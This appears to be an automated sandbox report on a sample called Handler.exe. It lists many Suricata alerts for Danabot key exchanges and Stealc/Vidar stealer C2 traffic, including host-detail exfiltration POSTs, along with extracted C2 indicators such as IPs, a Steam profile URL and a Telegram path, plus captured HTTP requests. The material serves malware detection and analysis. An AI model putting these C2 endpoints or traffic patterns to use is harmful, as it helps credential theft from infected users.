Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50425 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50315 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50401 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50378 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50346 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50386 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50463 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50364 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50395 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50404 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50186 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50156 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50486 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50323 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50487 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50180 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50385 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50426 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50452 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50418 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50503 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50210 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50479 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50419 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50394 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50470 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50478 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50435 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50417 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50162 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50428 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50455 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50403 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50298 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50396 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50307 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50524 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50306 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50411 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50436 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50527 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50462 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50444 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50427 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50331 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50443 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50510 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50304 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50387 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50420 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50471 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50453 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50305 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50442 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50410 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50393 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50460 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50526 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50493 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50246 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50355 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50434 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50485 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50551 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50548 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50549 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50195 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50313 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50433 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50468 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50543 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50525 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50501 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50535 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50461 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50557 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50356 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50388 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50163 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50540 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50502 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50476 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50508 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50321 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50556 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50550 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50370 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50519 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50518 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50332 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50380 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50441 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50371 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50409 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50477 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50402 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50541 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50532 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50363 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50509 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50500 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50516 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50412 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50469 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50296 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50558 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50454 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50511 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50232 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50189 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50484 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50377 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50492 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50495 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50249 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50534 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50337 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50256 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50542 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50372 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50330 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50559 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50517 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50312 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50494 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50533 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.5:49715 -> 116.203.11.8:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.11.8:443 -> 192.168.2.5:49715
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.5:49709 -> 116.203.11.8:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.11.8:443 -> 192.168.2.5:49716

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199817305251

Source: global traffic

TCP traffic: 192.168.2.5:49802 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /w0ctzn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 108.139.47.92 108.139.47.92
Source: Joe Sandbox View	IP Address: 23.40.179.37 23.40.179.37

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50022 -> 162.0.209.157:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49748 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.73.26
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.92
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.172
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0040A09E recv,

1_2_0040A09E

Source: global traffic	HTTP traffic detected: GET /w0ctzn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: avgus.restConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b?rn=1736795913608&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=17238CFC5C3C6BEA3601998F5DB66AEC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
